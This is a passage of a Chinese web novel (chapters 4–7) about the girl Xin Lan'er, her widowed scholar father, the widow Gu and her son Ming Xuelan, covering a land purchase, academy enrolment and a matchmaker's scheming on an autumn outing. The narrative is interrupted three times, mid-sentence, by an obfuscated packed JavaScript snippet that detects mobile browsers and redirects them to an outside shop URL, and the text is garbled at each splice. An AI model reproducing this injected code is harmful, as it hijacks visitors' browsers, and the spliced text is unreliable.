顾氏回过神来,压下眼底的湿意,挤出笑容道:“就种在东面墙下面吧,离厨房近,摘菜浇水都方便。” “嗯,好。” 明雪澜帮忙把花种菜种拿到东墙,正要蹲下来刨坑,辛澜儿拦住他道:“我要和顾姨说悄悄话,哥哥不要在这里,快回去念书。” 明雪澜手里还拿着小铲子,腿弯了一半,站也不是,蹲也不是,看起来茫然极了。 顾氏扑哧笑道:“你在这里也是帮倒忙,回屋去吧。” 明雪澜心道:“母亲,您才是帮……” 这话是万万不敢说出口的,他摸摸鼻子,悻悻地回屋去。 院中,辛澜儿挖坑,顾氏种花,两人头挨着头说说笑笑,刻意压低了声音,明雪澜没有受到任何影响,专心致志地看书。 及至酉时,落日熔金,夕阳的余晖洒满整面砖墙,也照亮少女的半爿精致脸庞。 他不经意间抬头,转了转僵硬的脖子。辛澜儿恰好站起身来,双臂大张伸了个舒服的懒腰。 她仰起头,十分享受地闭着眼睛,周身浸润在绚烂如火的霞光里,浓密挺翘的长睫在眼下投映出斑驳的影子,整个人光彩夺目,鲜活热烈,一颦一笑都带着温度。 明雪澜目光沉静,看了她很长时间。 他心里其实什么都没想,或许也想了一些但又不记得,唯一能确定的是他那时的心得到了温暖的安抚,那种感觉长长久久地住在他的记忆里。 酉时三刻,辛知远从书院归家,遍寻辛澜儿不见,拔脚急急往外走,把芙蓉街和积英巷找翻了天,邻里都说不曾见过。 辛知远急出一脑门的汗,无头苍蝇似的在家门口来回打转,苦思冥想半天,这才灵光一闪敲响了明家的大门。 4. 脆生生 4 这倒霉孩子果然在明家。 辛知远紧绷的神经遽然松开,又怪道:“到处找你,出门怎么不留个字条告诉我?” 辛澜儿笑嘻嘻不以为然,抱住爹爹的胳膊将他扯进院子里,向顾氏介绍道:“顾姨,这是我爹爹辛知远辛秀才,”又道,“爹爹,这是澜哥哥的母亲,我叫她顾姨。” 辛知远只见一貌美妇人穿着白衣素衫,正蹲在菜地旁弄土,忙揖手道:“顾娘子安好。” 顾氏连忙拍拍手里的土,起身见礼,回了句“辛先生”,两人便都垂着眼,各自无话了。 正巧这时明雪澜从房里出来,向辛知远问好,才让气氛显得不那么沉默尴尬。辛澜儿想起一事,道:“爹爹来得正巧,澜哥哥有事找爹爹。” 辛知远问有什么事。 明雪澜含笑道:“想向先生打听打听,灵清哪里的田地便宜可买。” 他刚说完,辛澜儿便道:“原来是为这事,哥哥去我老家黎平村买就好了呀,就在城西不到十里的西麓山下,那里的粮食每年收成都很好。” “别听她胡说,小孩子懂什么。”辛知远把辛澜儿揽到身侧,用胳膊压制住她。 “我才没有胡说!”辛澜儿气鼓鼓地跺脚,在爹爹的臂弯里扭来扭去表达自己的不满,“要是收成不好,城里的大酒楼怎么都从黎平村的大集上买粮食蔬果?哼!我都知道。” 她一副“你别以为我是小孩,就什么都不懂”的样子。辛知远笑着揉揉她的头:“黎平村确实是个好地方,但地肥价贵,好土地都留着自用,谁卖呀?” 辛澜儿细想了想,觉得没法反驳这话,把头靠在爹爹腰上,撅着嘴不说话了。 辛知远复又揽住女儿,把她鼓起的肉脸当包子捏,一边捏一边问明雪澜:“澜哥儿是为了户籍才买地么?” 明雪澜的眼神从辛澜儿脸上移开,点头道:“是。”又低下头,颇有些羞赧地道,“实在是家贫,若不是怕耽误读书,也不敢想去拿银子买地,还望先生…推荐些便宜的地方。” “我省得。”辛知远正想着哪里的田地适合他们母子俩,这厢辛澜儿兴致重来,乐冲冲道:“哥哥等等再买罢。西麓山下有几十亩荒地,听说官府要找人开荒,谁开的荒就是谁的,哥哥一个铜板都不用花。” 辛知远很无奈:“这没影的事又是从哪儿听说的?” “巷子里的关伯伯说的,他在官府做门房。” “就算是真的,早就被官老爷和富户们抢先了,哪里轮得到咱平民老百姓。这事啊,澜哥儿听听就行了。” 自己的话没有得到大人的重视,辛澜儿很不高兴,重重地哼一声:“我以后再也不和你说话了!”转过身抱着胳膊生闷气。 辛知远笑着低头看了她一眼,也不再去管她,只对明雪澜说道:“买地不是小事,还是要找几个懂行情的牙人问问。” “其实,我懂些行情的,我跟哥哥说……”辛澜儿幽灵一样神出鬼没,不知何时已转到明雪澜身旁了,“灵清原本只有三个镇,后来升为直隶州,便把秋县和平陶两县一并管了。三个镇子里,砖河镇建了许多砖窑,土地多,但庄稼长势一般。” “嗯…说的对。”辛知远赞赏道。 辛澜儿好似没听见一样,只看着明雪澜:“魏家镇临近运河,虽然灌溉方便,但那段运河河堤年年坏,年年修,把好好的庄稼都淹坏了,哥哥可千万别去那里买。” “这倒是真的。”辛知远笑道。 辛澜儿还在生爹爹的气呢,丝毫不给他眼神,冷哼一声把后脑勺对着爹爹,继续对明雪澜道:“我老家仓集镇靠山临水,哪哪都好。秋县和平陶两县田地多,但离州城比较远,然后……”辛澜儿仰起脸不好意思地笑,“然后我就不知道了。” “好厉害呀。”辛知远佯装惊喜,“原来澜儿知道那么多事,是爹爹小看你了。” 辛澜儿用力压住上扬的嘴角,哼道:“现在知道我的厉害了吧?”平时喜欢逛大街不是白逛的。 “知道了知道了,你最厉害。”辛知远撇撇嘴,和明雪澜对上眼神,默契地相视一笑。 明雪澜突然好奇她在那个“旧哥哥”面前是什么样子。 既然还是要叫牙人来,明雪澜便道:“多谢先生和澜儿妹妹,我改日去趟牙行,再作打算。” 辛知远点头,又想起一事,问道:“澜哥儿打算去书院读书么?” 明雪澜一愣,看了眼母亲,道:“要去的,就是不知…能去哪个。” 顾氏接收到儿子的眼神,她也不是个太傻的,知道辛知远在灵清城最有名的海清书院教书,又听他主动问起,便急忙接过话头:“我们母子初来灵清,什么也不知道,先生可有推荐的书院?” 辛知远本就有这个意思,笑道:“不如就去海清书院。嗯…澜儿哥知道听松先生么?” 明雪澜道:“可是本朝大儒,天子帝师,宋直宋老先生?” “不错。”辛知远含笑点头,“年初老先生告老还乡,膝下无子,海清书院的宋山长是他最小的亲侄子,趁着这次中秋回乡祭祖,要把老先生接来灵清养老,更主要的是,还想央他老人家给书院众学子讲学呢,叔侄二人明日就到灵清了。” “真是天大的好事。”明雪澜眼眸发亮,“宋老先生答应了?” 辛知远也难掩心中激动,笑道:“虽没完全应承,但多半有戏,不然也不会答应跟宋山长到灵清来。” 这话很有说服力。 宋直宋老先生是先帝钦点的状元,官至左相,也是当今天子的帝师,博学宏通,遍注群经。现行的《周易》、《礼记》,《论语》等,都采用宋直注。读书人若能有幸得他教导,那可是佛前也求不来的机缘。 老先生辞官归乡,早有消息灵通的士人学子在沿途驿站翘首以盼,想把他掳回家当西席先生。谁知宋老先生使了一招“金蝉脱壳”,让家仆冒充自己去走陆路,自己则偷偷走水路回乡,到济南之后也没回宋府,而是找了个僻静地方隐居了。 宋山长既能把老先生请来灵清,那便是成功的第一步,软磨硬泡,让他答应在书院讲学是迟早的事。 辛知远道:“就算他老人家不来,海清书院也是远近闻名的好书院,澜哥儿你考虑一下,要不要去那里读书。” 天上掉下来的馅饼,明雪澜拼命也要接住,立刻说自己要去。 顾氏高兴之余却犯了难:“可澜哥儿的户籍还没迁来,耽误他去书院么?” 明雪澜的神色蓦地黯淡下来。他刚才激动过望,倒把户籍的事给忘了。 “这倒没事。”辛知远笑道,“海清书院又不是官学,且宋山长是我同窗好友。这样吧,澜哥儿就把你考府试时的策论默写下来,我拿去给山长看看,看他怎么说。” “好,”明雪澜脸上重现神采,“我写好,明早就给先生送去。” 辛知远点点头。 辛澜儿却道:“别等明日了,哥哥现在就去写,今晚就给我爹爹。” 她高兴得跟什么似的,竟直接抱住明雪澜的腰蹦跶,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585154|205208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 握住他的手把他往屋里拉。 顾氏在一旁掩着嘴笑。 辛知远则瞪大眼睛直勾勾地看着两人相握的手,气得暗暗咬牙,一把揪住辛澜儿的后衣领把她拽回来,夹在腋下就往外走:“顾娘子,我们回家去了。” 顾氏要留父女俩吃饭,辛知远连声拒绝。 他只想赶紧回家收拾辛澜儿,干干净净的女孩,碰什么男人! 男孩也不行! 等父女俩走了,明雪澜仍按捺不住心里的激动,坐在书桌前平复许久才落笔,左看右看,删删补补,晚饭未吃就将写好的策论送去辛家。 这下明雪澜的半颗心才算安定下来,另外半颗还因为户籍问题惴惴不安,一顿晚饭吃得魂不守舍,第二天一早就去了牙行,跟着牙人跑了整天,暮色时分才回家来。 顾氏问:“看中了哪块地?” 明雪澜一口气喝尽杯中水,方道:“就买在澜儿妹妹说的黎平村罢。” “不是说那个村很少有人卖地么?” “也是咱们运气好。村里有个本地农户,家中有一百多亩良田,四个儿子娶亲的娶亲,读书的读书,急需用钱,便想卖掉五十亩。” “母亲,家中还有多少银两?” 因为卖掉了淮安的两间绸缎铺,顾氏手里暂且不缺钱。 但明雪澜只打算买两三亩,然而农户嫌少不卖,最后买下二十亩。 顾氏和明雪澜拿到地契后便去了官府,往人手里塞了点茶水钱,很快两张崭新的灵清户籍拿在手里,母子俩相视一笑。 当晚,辛知远从书院归家,也带来了好消息,宋山长看中了明雪澜的文章,让他隔日辰时去书院见一面。 明雪澜这两日忙于买地落户,甚少读书,听到要去书院见山长,连着两晚挑灯夜读。 到了书院,房中坐着两个人,一位是山长宋清时,另一位是负责招收学生和管理书院日常的赵堂长,他正在翻看明雪澜的那篇策论。 山长宋清时是举人出身,原在灵清州衙任教谕,后辞官,从外祖父手里接过了海清书院。 他面容清癯,一双眼睛炯炯有神,声音爽朗,并没有明雪澜想象中那样严肃。 有辛知远引荐,宋山长早就心中有数,何况明雪澜的策论条理清晰,文辞简练,且引经据典联系民生,确有可取之处。 只是表面功夫还是要做,譬如让明雪澜简要说说所写策论的思路,背几首诗,谈谈诗意,明雪澜皆对答如流。 入院读书一事很顺利。 这厢辛澜儿也没闲着,除了读书练字就是疯玩。 只是她哥哥恶名在外,又把她盯得很紧,那些想同她玩耍的小男娃被他两眼一瞪就缩起脖子灰溜溜地逃走了。是以她只有两个女玩伴,一个是济元堂小方大夫八岁的女儿方飞飞,另一个是卢记糕点铺卢掌柜十一岁的小女儿卢容仙。 方飞飞天生左脚微跛,不爱出门,可辛澜儿最喜欢溜大街。卢容仙则沉迷于家里的糕点铺生意,八岁以后就没有多余的时间分给辛澜儿了,是以经常能够看到辛澜儿一个人举着风车满大街乱窜。 这种孤身一人逛大街的局面在明雪澜来到后被打破了。 这位新哥哥长相好气质佳,温柔大方好说话,愿意牵着她的手去她想去的地方。更重要的是,她隐约觉得新哥哥不会像其他小郎君一样轻易屈服于她哥哥的拳脚和威压而远离她。 八岁的辛澜儿就此萌生了一个新目标——在她哥哥回来前和澜哥哥培养出坚不可摧的友谊。 5. 脆生生 5 为了和新哥哥培养出坚不可摧的友谊,辛澜儿频繁出入明家,和顾氏一起养花种菜做手工。等明雪澜下学回家,她又鬼精鬼精的缠着他说笑,围着他甜声喊哥哥,让他讲诗给她听,教她练字学文章,陪她去码头看花灯坐游船。 明雪澜读的圣贤书在这段时间里忘得一干二净,不知何时起,他已经可以毫无心理负担的背起玩累的辛澜儿回家了。 及至十月,西麓山的黄栌红叶似火,从山下蔓延至山顶,远远看去,好似一条蜿蜒腾飞的火龙。半山腰有一福地宝坊,古寺钟声绵长悠扬,让人闻之心静。山下清泉环绕,流水潺潺,鸟语花香,是个赏秋观景的好去处。 辛澜儿便邀请顾氏和明雪澜去西麓山游玩。 顾氏本有万分期待,但一个寡妇和一个鳏夫相约带着孩子去游玩,势必要传出闲话,故推辞不去。 辛澜儿很是失望,晚间归家,在饭桌上让辛知远给她出主意:“爹爹,我要怎么做才能顾姨答应去呢?” “你什么也不用做,直接放弃。”辛知远埋头吃饭。 他多少猜到了顾氏不去的原因,自己其实也有心避讳,却瞥见女儿不高兴了,便往她碗里夹了块肉,赔笑道:“人家不愿去,何必强求呢?你要是想去,爹爹陪你啊。” “可我想让她看看西麓山的秋天有多漂亮啊。” “那你可以画给她看,你不是最喜欢作画么?” “这不一样!”很少有人拒绝她,辛澜儿闷闷不乐,把筷子竖起来在碗里戳来戳去。 辛知远见状沉下脸,拍桌斥道:“又不成样子了,谁教你这样吃饭的?” 辛澜儿瞥一眼爹爹严肃的神色,觉得他好像不是假装的。她赶紧低头扒饭,心里却越来越委屈,不知不觉地,眼泪啪嗒啪嗒往碗里掉。 辛知远揉着额头无声叹气。 不凶她,怕她养成那没规矩的性子;凶了她,她委屈巴巴地小声啜泣,他又开始心疼,只好低声下气地哄道:“好了好了,别哭了,爹爹给你想个主意。嗯……你把巷子里其他几个婶子也喊去,你顾姨就愿意去了。” “真的?”辛澜儿抬起头,眼里还包着一汪泪。 “真的。”辛知远点点头,下巴往前顶了顶,“吃饭。” “好!我吃。”辛澜儿笑着抹了把泪,又仰起脸对爹爹眯弯了眼。 可饭刚进嘴里,她没嚼几口又苦着脸吐出来:“唔……饭是咸的。” 辛知远取笑她:“你的小金豆子都掉碗里了,可不就是咸的么。” “呜呜……不想吃……”假哭这件事顺手拈来。 辛知远忍笑道:“那就不吃了,现在已经是小胖娃娃了,再吃就走不动路了。” “呜哇——”这下是真气哭了,并且哭声很是嘹亮。 她哭得越大声,辛知远就笑得越厉害,气得辛澜儿跳下椅子来打他:“坏蛋!大坏蛋!” 绵绵掌一点威力也没有。辛知远笑得不行,一把抱起女儿站起来:“走,爹爹给你买好吃的去。” 没走两步就累得直喘气:“坏了,你怎么光长肉不长个儿。唉,快把我愁死了。” 父女俩走到巷子口时遇见了明雪澜,见他怀里抱着书,辛知远惊讶道:“澜哥儿才回来?” “哦,在藏文馆看书忘了时辰。”明雪澜笑道,又见辛澜儿的眼角留有泪痕,看见他也只是懒懒喊了声“澜哥哥”,便收了笑问:“澜儿妹妹怎么了?” 辛澜儿嘟着嘴不说话。辛知远把她放下来,给她理好衣摆,笑道:“没什么事,小孩子闹脾气。” 说完凑到明雪澜耳边,以手掩嘴低声道:“说她是胖娃娃,生气了。” 明雪澜好笑的看向辛澜儿,正想着说什么安慰的话才好,辛澜儿已经上前握住他的手,眼巴巴道:“你能不能帮帮我,让顾姨和我们一起去西麓山玩?” 明雪澜奇怪道:“我母亲不去么?” “顾姨不去。” “那我回去劝劝她。” “嗯!哥哥你真厉害。”辛澜儿顿时喜笑颜开。 没人知道她为何在一件事上那么执着。 明雪澜刚到家便提起去西麓山的事。 “母亲何不出门散散心?再说辛先生不要咱们的谢礼,不如趁这次去西麓山,多备些好酒好菜带过去,聊表谢意。” 顾氏不知如何跟儿子说自己的顾虑。 她好奇心重,生性爱玩,如今却整日闭门不出,有丧夫的缘由在里面。 明雪澜看出她的纠结犹豫,安慰道:“母亲的担忧,辛先生必然也有。您放心,不会只有我们两家人去的。” 算是被他说中了。 辛澜儿第二日跑到家里,兴高采烈地说自己已经成功游说了北巷口那边的张大娘一同去西麓山,现在再次来邀顾氏。 这次顾氏欣然应允。 辛知远却头疼起来,积英巷里有好几个跟顾氏年纪相仿的妇人,他的好女儿怎么就单单找来了年龄最大的张嫂? 张嫂可是个媒婆啊。 一个见到他就两眼放光,到处宣扬他一表人才,是个每月能从官府领一两白银和一升米、家里三十亩良田不用缴地税、在灵清最繁华的芙蓉街上有宅子有铺面,自己还在书院教书的秀才廪生,拼命给他说亲的媒婆啊! 辛知远愁得好几个晚上没睡好,一闭眼就觉得张嫂的魔音绕耳。 而张嫂早就听辛澜儿说她家对面新迁来一对母子,家里男人死了,那守寡的顾娘子生得极美,秉性温柔,连身上都带着淡淡的花香。 她早就想来见见,好给澜姐儿她爹说亲。他们一个丧妻,一个丧夫,且各自都有孩子,谁也别说谁,便是月老亲自来也找不到这么相配的。 然而顾娘子终日不出门,家中大门紧闭,张嫂一直没找到见面说话的机会,心里正发愁,谁知辛澜儿前几日找到她,问她要不要和顾娘子还有他们父女俩去西麓山。 张嫂一听,眼珠子滴溜嘟噜地转。 肯定是辛二郎看上顾娘子了! 可他害羞啊,不好意思亲自来找她说媒,所以让自己的女儿来,还用了一个什么“赏枫”这样文邹邹的名头,那几棵红叶子树有什么好看的,还不是为了看美人? 这些读书人啊,心思真是七拐八拐的,最终还是要靠她这个号称“月老在世”的好嫂子亲自上阵助攻。 等到出游那天,众人约在辛家门前见面。张嫂早早到了,和不到四岁的小孙子衡哥儿坐在桂花树下磕南瓜子,两只精光眼死死盯住对面的大门。 终于,厚实的木板门被人徐徐打开。张嫂忍不住瞪大了眼,全身的血液都开始沸腾。 她看见门边银白袍摆翩跹浮动,眼前突然花气袭人,让她有点晕眩了。 接着她又看见门内伸出来一截白裤腿,晃动间依稀可见那小腿修长笔直,脚踝不足一握,秀足轻点地面,就好像飞燕作掌中舞般轻盈飘逸。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585155|205208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她的呼吸不禁变得冗长,不受控制地站起来,手里的南瓜子簌簌倒在地上,眼睁睁地看着从门内转出来一个白净秀气的小郎君,手里拎着三层的竹编提盒。 “……”张嫂哽住了,突然觉得闻不到花香气了,人也不晕了。 明雪澜抬眸,正撞见一位陌生妇人正微张着嘴直愣愣地看他,心知她应该就是澜儿提到的那位张大娘了,便轻车熟路浅浅一笑。 “张大娘。” 张嫂又被那如沐春风的笑容晃了眼。 天爷,小郎君不仅生得好,笑起来还有俩梨涡呢,真是讨人喜欢。 都说儿肖母,儿子就已经那么俊俏,那顾娘子该是何等风姿啊! 张嫂赶紧快步过去,小孙子衡哥儿迈着小碎步歪歪扭扭跟在后面。 “是澜哥儿吧?”张氏笑得脸上都起了褶子,“我是北巷口的张大娘,从你们家这里拐个弯就到我家了,说起来咱们还是邻里呢,欸,你娘呢?”说着就伸头往院子里瞧。 明雪澜笑道:“我母亲在收拾东西,马上就来。” 话音刚落,从堂屋走出来一个女人,妩媚的丹凤眼,红润的樱桃唇,盈盈不足一握的水蛇腰,皮肤白得耀眼,看起来也就二十出头,跟大姑娘似的。 她只穿着素色白裙,挽起的发髻上空无一物,但依旧美得惊人。 女人关好门转身走到院子里,杨柳细腰,步步生姿,脖颈白皙修长,脊背挺得很直,没有半分小家妇人含蓄扭捏的情态,倒像金镶玉裹养出来的富贵闲人。 张嫂眼前一亮又一亮,好似又闻见淡淡的花香了,熟悉的眩晕感猛地袭来。 二郎这小子好福气啊!怪不得从前给他说媒他万般推辞,原来是没遇到长这么好看的。 她肩膀一缩挤进门去,迈着虚浮的步子迎上顾氏,近乎谄媚地笑:“顾娘子,东西都收拾好了?” “收拾好了,嫂子。”顾氏是看着她走近的,脸上早就挂上了温和的笑。她本名顾月华,因此道:“嫂子叫我月娘就好。” “好好……”张嫂连声道好,笑意不止,“我在北巷口那边住,咱们今儿个一起去西麓山,二郎事先跟你说了罢?” 顾氏猜想她口中的“二郎”就是辛知远,笑道:“说过的。” “哎好好…那咱们现在走?” 顾氏含笑点头,张嫂热情地上前挽住她胳膊。顾氏身子一僵,但很快压下心里的不适,顺从地跟着张嫂往外走。 明雪澜侧身让路,看见她们这副不熟悉却很亲密的样子,直觉告诉他有些奇怪。要不是知道张嫂是住在巷子里的邻里,明雪澜真怀疑她在悄悄谋划怎么把他母亲卖了。 也可能张嫂就是一个热情的人,明雪澜不再多想。他刚给门挂上锁,转身便听见背后辛家大门开了。辛知远一手牵着辛澜儿,一手拎着两瓶果子酒走出来。 辛澜儿今日穿了一件崭新的兰花纹桃红比甲,搭配葱绿花鸟纹马面裙,身上斜挎着蓝白相间的方形小布包,包里装着饴糖。辛知远用红发带给她绑了两个花苞状的小发髻,各插上一小朵白茉莉,她的小脸蛋白里透红,杏眼水灵灵的,让人移不开眼。 张氏笑着招手:“哦唷!谁家的小娘子这么漂亮呀,快过来给我们看看。” 辛澜儿害羞地往父亲身后躲,只露出一双弯弯的眼睛来,又忽然挣开爹爹的手,笑着跑来,揪住自己的袖子举到明雪澜眼前。 “哥哥看,新做的,好不好看?” 6. 脆生生 6 “好看。” “好看。” 明雪澜笑道:“妹妹人也好看。” 辛澜儿害羞地低头,嘴角抑制不住地欢喜。 三家人说说笑笑往外走,南巷口早早停好两辆马车,是明雪澜昨日去车行提前租好的。 今日恰逢旬休,又赶上仓集镇每月三次的逢集。西麓山下人来人往,车马如流,路边杂耍艺人卖力表演讨些赏钱,摆摊做生意的小贩呼喊叫卖,掀开白烟滚滚的蒸笼,鲜肉包子的香气让人忍不住直流口水。声浪久久不息,让寂静的秋日也有了盛春的盎然生机。 实在是人多路不通,马车在西麓山东面三里处停下,众人下车汇入人流,花几文钱将携带的物品存放在专人看管的地方,打算先登山观景。 西麓山上秋意正浓,松柏苍劲翠绿,黄栌橙红如火,山间杂草野花黄绿交加,最是橙黄橘绿时。 登高眺望,西麓山脉绵延数百里,尽头一片灰蒙,大雁成群结队,在空中划出整齐优美的弧线。 顾氏和张氏头挨头走在最前面,明雪澜与辛知远走在最后叙闲话,辛澜儿则带着衡哥儿撒开了腿跑前跑后,不一会儿两个孩子手里就拿满了各色野花。 很快,衡哥儿蹲在地上耍赖,哼哼唧唧说自己腿疼,辛知远便笑着抱起他。 张嫂见了,拉过顾氏悄声道:“你看,二郎多会疼人。” 顾氏回头望了一眼,又看向张嫂,见她似乎悬着一口气,紧张又期待的等她回答,便赞同道:“是啊,辛先生真是个好人。” 张嫂忽地松口气,又叹道:“可惜命不好,爹娘兄弟都走得早,澜姐儿她娘生她的时候也难产死了,留他一人把两个孩子拉扯大。 我是看着他长大的,他是个好性儿的人,早些年只想照顾好孩子,没时间去相看女人,现在你瞧,他把澜姐儿养得多好啊。你说他是不是一个有担当的好男人,好父亲?” 女人天性博爱,顾氏身为人母,只对失恃的辛澜儿生出一种怜爱之心。怪道从来没听过澜儿说起自己母亲,想必一提起便伤心罢。 “是啊,澜姐儿是个好孩子……”顾氏想了想又补充道,“辛先生也不容易。” “唉,再难也熬过去了。”张嫂感叹道,“现在澜姐儿已经懂事了,他也该考虑再娶了。说起来二郎模样好,性子好,也有家底,好多人都争着抢着托我从中说媒,可我瞧那些人都不是可心的!” 顾氏心道:“你与我说这些做甚?” 张嫂一直仔细观察顾氏的神色,见她表情和眼神都是懵懂的,心想这妇人虽然长相美得凌厉,但没什么心眼儿,似乎到现在都还没听懂她的暗示。 这样心思纯净的女人好啊,嫁给二郎能安分过日子,也能善待澜姐儿,至于游哥儿……他不欺负别人就算好的了。 张嫂趁热打铁,先恭维一番:“月娘,我第一眼见你就喜欢得紧。澜姐儿跟我说她家对面搬来一个美极了的娘子,一开始我还不相信,今儿见到你,方知她没说假话,你说这世上哪有你这么天仙似的人物?” 顾氏特别喜欢人夸她,抿着嘴直笑:“嫂子过誉了。” 张嫂觉得这女人真是天真得可爱,又想着她既然带着儿子离家百里到灵清来,想必夫家和娘家人都是靠不住的,这样的美貌女子没人帮衬可怎么活。 张嫂这时是真的心疼顾氏,衷心建议道:“这世道,一个女人带一个儿子不容易,何况是你这么漂亮的女人。二郎是个热心肠的好人,又与你家离得最近,你们两家平日里要多来往啊,让他多帮帮你和孩子。” 顾氏收了笑,颔首道:“多谢嫂子关心,月娘知道了。” 说话间已到了半山腰,几人都走得疲累,随意坐在亭子里饮水休息,又看了会儿风景,等到午饭时分便下山去了。 西麓山东面有处瀑布,飞流直溅,气势汹涌。瀑布下溪水潺潺,岸边垂柳怪石相依,浅草密集。今儿阳光明媚,树下已坐了几堆赏秋的游客,摆上美食美酒,观赏山间秋色。 明雪澜提前说过一应吃食皆由他来准备,他为此特意向辛澜儿打听,得知灵清人最喜爱吃羊肉,因此准备了炙子羊肉,并一些当季的蔬菜瓜果解腻,也给辛澜儿准备了桂花糯米糕。 成串的大块羊肉挨个放在烤盘上,没多久就烤出了亮晶晶的油花,肥油滴落在下面的炭盆里,嗞啦一声冒起小小的灰烟,香气扑鼻,引得周围的食客都伸长了脖子来闻。 辛知远食欲大开,把自己带的那两瓶果子酒拿出来分喝。明雪澜尚在孝期,忌酒忌荤,只吃了素菜和糕点。待烤肉吃到一半,明雪澜去附近小摊上给众人买馎饦,辛澜儿和衡哥儿乐颠颠地跟在他屁股后面,看见路边有人卖纸鸢,两个孩子双眼放光,站在小摊前摸了又摸,腿都走不动道儿了。 明雪澜笑了笑,给他们各买了一个燕子纸鸢,想了想,给自己也买了一个。 三个孩子回去后草草吃了几口便兴奋地去溪边草地放纸鸢,留下大人们边吃边聊。 张嫂自然是活跃气氛的老手,一双吊梢眼鬼精鬼精的,总是把话题往顾氏和辛知远身上引,好让两人多多说话。 哎呀,郎才女貌,真是越看越舒心! “看孩子们玩得多高兴。”张嫂看着奔跑着的三个孩子高兴道,“澜哥儿和澜姐儿好得跟亲兄妹一样,欸?月娘,哥儿今年多大了?” 顾氏道:“十二了。” “哎呦,跟游哥儿一般大。”张嫂又问辛知远:“澜姐儿八岁了吧?” 辛知远点头,心里隐隐感到不妙,张嫂要开始了吗? 张嫂紧接着叹道:“澜姐儿她娘已经走了八年了……” 辛知远脑子里嘎嘣一声。 “二郎啊,这些年你又当爹又当妈,苦啊……” 来了!他害怕的事果然来了! 这是张嫂每次给他说媒必定要提起的话,如果他没记错,她接下来就要说他是吃公粮的秀才了。 果然,张嫂转向顾氏道:“月娘还不知道吧?二郎是秀才里最厉害的廪生,每月能从官府领一两白银和一升米呢!也不用服徭役,家里三十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585156|205208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亩良田不缴田税,家里压根不愁吃喝。” “二郎是灵清州仓集镇黎平村人,家里就活下来他一个孩子。他爹娘有手艺,从村里出来到芙蓉街上开酒楼,生意可红火了,在城里买了宅子和两间铺面,现在铺子都让二郎租出去了,每年光租金都花不完……” 张氏滔滔不绝,已经把他的祖宗十八代都交待清楚了。 辛知远只想钻到土里去,偷偷拉了拉她散落在地上的衣角让她别说了。 张氏仍说个不停:“要不是澜姐儿她娘不在了,他要养孩子没时间读书,说不准早成官老爷了……不过他现在也不错,在灵清最有名的私学,海清书院教书。” “他平日里生活简单,除了教书就是回家打理家务,照顾孩子。我经常说啊,谁要是嫁了二郎,那可真是享福的命!月娘,你说是不是?” 顾氏一怔,没敢去看张嫂。 什么意思?你问我这话是什么意思? 张氏小声问:“月娘?” “啊?”顾氏受了惊似的猛地抬头,好似才听见一样。 张氏笑道:“你说二郎他是不是挺不错的?你觉得他怎么样?” 顾氏这才恍然大悟,张嫂似乎要撮合她和辛先生。那么是张嫂自作主张,还是辛先生自己有这个意思,私底下拜托张嫂说媒呢? 如果是前者还好说,如果是后者,她真的不知道该怎么办了。辛先生前不久才帮她儿子到海清书院读书,现在又是她儿子的夫子…… 她早该想到的,早该想到的……世上哪有这么好的事?无亲无故,人家凭什么帮你们这对初来乍到的孤儿寡母? 吃人嘴短,拿人手短,现在欠了人家情,不知该怎么还了,怪不得辛先生不要他们的谢礼呢,原来是在打她的主意。 她也不应该答应辛澜儿到西麓山玩的,平白惹人误会。在张嫂眼里,她肯和辛家父女一起出门游玩,是不是代表她也对辛知远有意? 顾氏眉眼低垂,不敢说话。 做人真难,做好人更难。辛知远还不知道自己在顾氏眼里已经成了挟恩图报的伪君子。 他暗暗咬牙,今儿的美食美景美酒全被张嫂给毁了——人家刚死了丈夫,你现在就想说服人家再嫁,真是无可救药,无话可说! 但他也没法对张嫂说不好听的话,毕竟辛澜儿刚出生就没了母亲,他一个大男人面对豆丁大的新生儿手忙脚乱,碰都不敢碰,孩子生病时更是难办,全靠张嫂平日里细心叮嘱照拂,时常做些小孩子的吃食和衣物送来,帮他照顾孩子,他心里一直承她的情。 “嫂子,您行行好,饶过弟弟我罢,就别再开我的玩笑了。”辛知远赔笑作揖。 “谁开你玩笑了?我说的难道不是实话?”张氏敛色道,心里却想:“你小子三十六计学得好啊!你这是在欲拒还迎、欲擒故纵,先假意推辞,好让我下一步顺理成章推波助澜?” 好深的心机!那我可不能让你失望。 张嫂正要说话,衡哥儿气喘吁吁地扑进祖母怀里要水喝。 7. 酸溜溜 1 张嫂兑了杯温水给衡哥儿喝,接着对顾氏道:“月娘,我朝没有妻为夫守孝的规矩,澜哥儿也已经十二岁了,不用你跟在屁股后面照顾,你要赶紧给自己下半生找个依靠啊!” 